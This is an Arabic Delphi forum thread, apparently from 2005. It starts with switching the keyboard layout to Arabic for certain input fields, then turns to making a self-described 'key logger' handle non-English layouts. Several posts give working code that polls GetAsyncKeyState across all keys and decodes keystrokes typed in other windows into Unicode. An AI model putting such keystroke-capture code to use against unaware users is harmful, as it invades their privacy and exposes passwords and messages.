هناك حقول أود إدخال بيانات بالعربية فقط فيها كيف يمكن تحويل لوحة المفاتيح إلى العربية تلقائيا عند دخول الحقل مع إقفالها على العربية هتى يتم الخروج من هذا الحقل
KeyBoard Arabic Locking
السلام عليكم
هذا الكود
Application.BiDiKeyboard:='00000401';
Application.NonBiDiKeyboard:='0000040C';
و يجب أن تعيين bidimode لكل حقل (left to right ) لللاتنية ( right to left) للعربية
أتمني أن يفيدكم الكود (h)
يقول المثل الشعبي الجزائري
( أقري علمك و علما لا تدريه ، و قل ربي زدني علما ، و فوق كل ذى علم عليم )
اللهم زدنا و لا تنقصنا و أعطنا و لا تحرمنا
بارك الله فيك SOUMIA ;) .
هذا كود استعملت فيه WinApi Function . الفورم تحتوي على زر Button1 و على مربع نص Edit1.
الدالة المستعملة هي LoadKeyboardLayout وهي تقبل باراميتراين, الأول هو كود اللغة والثاني هو Flags لطريقة تحميل لغة لوحة المفاتيح. هذه الدلة ترجع Handle وهو عبارة عن رقم يميز لوحة المفاتيح التي حملتها.
يمكنك تحميل كل لغات لوحة المفاتيح التي تريد في بدأ البرنامج وتسجيل Handles الموافقة لها والإستفادة منها إذا أردت إخنبار ما هي للوحة النشطة منها :lol: و هذا باستخدام دالة ActivateKeyboardLayout أو GetKeyboardLayoutName .
procedure TForm1.Button2Click(Sender: TObject); begin if button1.tag =0 then begin LoadKeyBoardLayout ( '00000401', KLF_ACTIVATE); button1.Caption:='The keybrd is ARABIC'; button1.tag:=1; edit1.BiDiMode:= bdRightToLeft; end else begin loadKeyBoardLayout ( '00000409', KLF_ACTIVATE); button1.Caption:='The keybrd is ENGLISH'; button1.tag:=0; edit1.BiDiMode:= bdLeftToRight; end; end;
'00000401' هو كود اللغة العربية, و '00000409' هو كود اللغة الإنجليزية..
إذا أردت استخدام لغات أخرى استعمل بدلا من هذا الذي يحمل كود اللغة العربية
loadKeyBoardLayout ( '00000401', KLF_ACTIVATE);
بنظيره:
LoadKeyboardLayout(PChar(Format('000004%.2d', [LANG_ARABIC])),KLF_ACTIVATE);و هذه لائحة لباقي اللغات الأخرى المعتمدة في ويندوز:
LANG_AFRIKAANS LANG_ICELANDIC LANG_ALBANIAN LANG_INDONESIAN LANG_ARABIC LANG_ITALIAN LANG_BASQUE LANG_JAPANESE LANG_BELARUSIAN LANG_KOREAN LANG_BULGARIAN LANG_LATVIAN LANG_CATALAN LANG_LITHUANIAN LANG_CHINESE LANG_NEUTRAL LANG_CROATIAN LANG_NORWEGIAN LANG_CZECH LANG_POLISH LANG_DANISH LANG_PORTUGUESE LANG_DUTCH LANG_ROMANIAN LANG_ENGLISH LANG_RUSSIAN LANG_ESTONIAN LANG_SERBIAN LANG_FAEROESE LANG_SLOVAK LANG_FARSI LANG_SLOVENIAN LANG_FINNISH LANG_SPANISH LANG_FRENCH LANG_SWEDISH LANG_GERMAN LANG_THAI LANG_GREEK LANG_TURKISH LANG_HEBREW LANG_UKRANIAN LANG_HUNGARIAN LANG_VIETNAMESE
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
طيب ممكن سؤال بسيط
لنفرض ان البرنامج key Logger يعني يتنصت على ازرار لوحة المفاتيح(للفائده فقط) :)
بالوضع الطبيعي راح يلتقط كل شي بالانجليزي
المشكله لو كان مستخدم الجهاز لغته روسيه أو عربيه كيف ممكن ندعّم البرنامج لكل اللغات
اذا كانت اللغه انجليزيه وضغط المستخدم الزر k راح يسجل k
لكن لو كانت اللغه عربيه وضغط المستخدم الحرف م راح يسجل l مقابله بالانجليزي على الكيبورد
وهكذااا
مو معقوله اني اضع unit لكل لغه واروح اسوي مقابل كل حرف انجليزي اللى يقابله بالعربي او بالروسي او او
ابحث عن حل سريع لمشكلة اللغه هذي
عفوا أخي vb-delphi لم أفهم جيدا الفكرة التي تطرحها :unsure:
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
لو لاحظت المشروع بالمرفقات
راح تلاقيه يلتقط اي شي تكتبه بالكيبورد بشكل صحيح بشرط تكون الكتابه بالانجليزي
لكن لو غيرت اللغه من انجليزي لعربي راح تتلخبط الكتابات والحروف وماراح تكون منسقه
لانه يلتقط انجليزي فقط
هذا قصدي كيف ممكن اغير بالكود عشان يدعم كل اللغات بدون أخطاء B)
:lol: هذا الكود يقوم بتجسس على لوحة المفاتيح.
لكنه لا يقرأ الحرف الذي ظغط و لكن الزر الحقيقي على شكل VirtualKey وهكذا فإنه لايعلم إن كان الحرف إنجليزي أو عربي!!!.
بعد قراءة الزر يقوم البرنامج بترجمة Vkey إلى Ascii Char وهذا يلغي كل الحروف ولا يعتبرها ويراها كأنها حروف لاتينية فقط.
يعني لا يفرق حتى ما بين Querty و ما بين Azerty. B)
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
يعني مافي حل للكود هذا
لابد من وجود حل برمجي, أكيد ربما باستعمال دالة ToUnicode!! أنا لا أعلم شيئا عنها وسأبحث لاحقا عن كيفية الإستفادة منها
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
ياليت :)
لقد طورت الكود الذي أدرجته أعلاه Logger.
حذفت دالتين وأضفت دالة التي تقوم بتحويل كود virtual Key إلى Unicode:
procedure GetLetter(); var vkey: Cardinal; begin //verify all virtual keys : //Verify if Letter Keys is pressed VK_A= $41 VK_Z= $5A //Verify if numpab Keys is pressed VK_NUMPAD0= $60 VK_NUMPAD9= $69 //Verify if Keys 0 to 9 is pressed Vk_0= $30 vk_9 = $39 for vkey:=$00 to $ff do if Odd(GetAsyncKeyState(vkey)) then begin form1.Memo1.Text:= form1.Memo1.Text+ GetUnicodeFromVKey(vkey); end; end; //***************************************************** function GetUnicodeFromVKey(vkey: Word):string; var keystate: TKeyboardState; dwHkl: hkl; UnicodeChar: array[0..1] of wchar; ScanCode: UINT; iResult: Integer; begin dwHkl:= GetKeyboardLayout(0); if GetKeyboardState(KeyState) then begin ScanCode:=MapVirtualKeyEx(vKey,0,dwHkl); iResult:=ToUnicodeEx(vKey,ScanCode,@KeyState,@UnicodeChar,2,0,dwHkl); Result:= UnicodeChar; case iResult of 0: Result:=''; 1: SetLength(Result,1); 2: SetLength(Result,2); end; end; end;
نص المشروع كاملا في المرفقات :lol:
تم تعديل هذه المشاركة بواسطة ikossan في 9 أبريل 2005 في 03:23
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
ممتااااااااااااااااااااز وراااااائع :lol:
الحين اذا شغلت البرنامج ورحت لأي مستند نصي وجلست اكتب مره بالانجليزي ومره بالعربي ارجع لفورم البرنامج ألاقيه يلتقط حروف انجليزيه فقط بدون العربي لكن اذا رجعت للـ memo في البرنامج وجعلت اللغه فيه عربيه
او يعني غيرت المؤشر من اليسار لليمين الى اليمين لليسار ورحت اكتب في المستند راح يبدأ يلتقط عربي
طيب انا حاولت اعتمد على الكود هذا وكان موجود بالمنتدى
عشان اجعل البرنامج يتحول لعربي ومن عربي لانجليزي حسب اللغه اللى مفعلها مستخدم البرنامج والموجوده بجنب الساعه على شريط الويندوز AR , EN
var CurLayout: string; KeyBrd: Array [0..KL_NAMELENGTH] of Char; begin GetKeyboardLayoutName(Keybrd); CurLayout := Copy(KeyBrd,5,4); if CurLayout = '0409' then begin Form1.Memo1.Font.Charset:=(DEFAULT_CHARSET); Form1.stat.Caption:='english' end Else if CurLayout = '0401' then begin Form1.Memo1.Font.Charset:=(ARABIC_CHARSET); Form1.stat.Caption:='arabic' end; end;
لكن الفورم مصر على الانجليزي ويتجاهل التحويل للعربي مدري ليش ؟
أنظر إلى هذا الكود :lol:
//***************************************************** function GetUnicodeFromVKey(vkey: Word):string; var keystate: TKeyboardState; dwHkl: hkl; UnicodeChar: array[0..1] of wchar; ScanCode: UINT; iResult: Integer; idThread: DWORD; idProcess: DWORD; wndHandle: THandle; //Handle of the Active Window begin wndHandle:= GetForegroundWindow(); idThread:= GetWindowThreadProcessId(wndHandle,@idProcess); dwHkl:= GetKeyboardLayout(idThread); if GetKeyboardState(KeyState) then begin ScanCode:=MapVirtualKeyEx(vKey,0,dwHkl); iResult:=ToUnicodeEx(vKey,ScanCode,@KeyState,@UnicodeChar,2,0,dwHkl); Result:= UnicodeChar; case iResult of 0: Result:=''; 1: SetLength(Result,1); 2: SetLength(Result,2); end; end; end;
سأتغيب عن المنتدى وستكون لي زيارات خفيفة بين الحين و الحين
يا صاحب الهم إن الهم منفرج.....................أبشر بخير فإن الفارج الله.
اليأس يقطع أحيانا بصاحبه..........................لا تيأس فإن الكافي الله.
الله يحدث بعد العسر ميسرة.........................لا تفزعن فإن الصانع الله.
إذا بليت فثق بالله وارض به...................فإن الذي يكشف البلوى هو الله.
و الله ما لك غير الله من أحد.......................فحسبك الله في كل لك الله
أخوكم مراد
والله انت مكسب لنا في المنتدى يامرااااااد
ألف مليووووون شكرررررر
السلام عليكم و رحمة الله وبركاته اول شكرا لكل من شارك فى الموضوع
انا عندى استفسار
هذا الكود يعطى علامة (؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟) فى حلة اذا كانت اعدادات اللغة
regional option ------->standard and formats-------->English
ولم استطع التغلب على هذه المشكلة الا بتحويلها الى العربية فهل يوجد حل شكرا لك جميعا
{ربى زدنى علما}
اولا اشكر هذا المنتدى الرائع بحق ، واشكر القائمين على هذا المنتدى
ضع الكود التالي في اخر Unit2
initialization
SetThreadLocale(1025 );
finalization
end.
هذا الموضوع مغلق.
